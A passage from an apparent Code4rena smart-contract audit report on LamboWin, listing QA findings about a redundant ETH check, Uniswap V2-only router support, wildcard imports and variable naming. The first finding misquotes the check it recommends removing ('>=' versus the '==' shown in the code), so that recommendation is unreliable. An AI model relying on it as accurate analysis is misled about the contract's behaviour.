Take a look at https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/VirtualToken.sol#L72-L80

    function cashIn(uint256 amount) external payable onlyWhiteListed {
        if (underlyingToken == LaunchPadUtils.NATIVE_TOKEN) {
            require(msg.value == amount, "Invalid ETH amount");
        } else {
            _transferAssetFromUser(amount);
        }
        _mint(msg.sender, msg.value);
        emit CashIn(msg.sender, msg.value);
    }

https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/VirtualToken.sol#L124-L130

    function _transferAssetFromUser(uint256 amount) internal {
        if (underlyingToken == LaunchPadUtils.NATIVE_TOKEN) {
            require(msg.value >= amount, "Invalid ETH amount");
        } else {
            IERC20(underlyingToken).safeTransferFrom(msg.sender, address(this), amount);
        }
    }

Since the msg.value check is already present in the internal _transferAssetFromUser function, the require(msg.value >= amount, "Invalid ETH amount"); check is redundant in cashIn and can be removed.

Impact

Redundant code.

Remove the require(msg.value >= amount, "Invalid ETH amount"); check from the cashIn function.

[QA-06] Uniswap V3 can’t be fully used, contrary to docs

Proof of Concept

Per the docs, protocol should be able to seamlessly work on both V2 and V3, with even a hint of V4 in the abstract, see here: https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/doc/LamboV2.pdf

Issue however is that provision is only made for V2 in scope, see:
https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/Utils/LaunchPadUtils.sol#L24-L25

    address public constant UNISWAP_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

Note that this address is the router address for V2 and not V3, making any planned calls via V3’s Router unreachable.

Impact

Protocol is not fully compatible with V3.

-    address public constant UNISWAP_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
+    address public constant UNISWAP_V2_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
+    address public constant UNISWAP_V3_ROUTER_ADDRESS = 0xE592427A0AEce92De3Edee1F18E0157C05861564;//V3 router address

[QA-07] Import declarations should import specific identifiers, rather than the whole file

Proof of Concept

Multiple instances in scope, for example take a look at https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/rebalance/LamboRebalanceOnUniwap.sol#L1-L9

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

Evidently, the imports being done is not name specific, but this is not the best implementation because this could lead to polluting the symbol namespace.

Impact

QA, albeit this could lead to the potential pollution of the symbol namespace and a slower compilation speed.

Consider using import declarations of the form import {<identifier_name>} from "some/file.sol" which avoids polluting the symbol namespace making flattened files smaller, and speeds up compilation (but does not save any gas).

[QA-08] Variable naming could be improved in LamboRebalanceOnUniwap

Proof of Concept

In LamboRebalanceOnUniwap.sol, the variable name newBalance is used to store what is actually a balance difference:

// SlowMist [N11]
uint256 newBalance = address(this).balance - initialBalance;
if (newBalance > 0) {
    IWETH(weth).deposit{value: newBalance}();
}

The variable name newBalance is misleading since it represents the difference between the current and initial balance, not a new balance value. This makes the code less intuitive and could lead to confusion during code review or maintenance.

Impact

Low severity.. the variable name doesn’t accurately describe what it represents

Rename the variable to better reflect its purpose:

// SlowMist [N11]
- uint256 newBalance = address(this).balance - initialBalance;
+ uint256 balanceDifference = address(this).balance - initialBalance;
- if (newBalance > 0) {
+ if (balanceDifference > 0) {
-     IWETH(weth).deposit{value: newBalance}();
+     IWETH(weth).deposit{value: balanceDifference}();
}

The name balanceDifference better represents that this variable stores the difference between two balance values, making the code more self-documenting and easier to understand.


Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.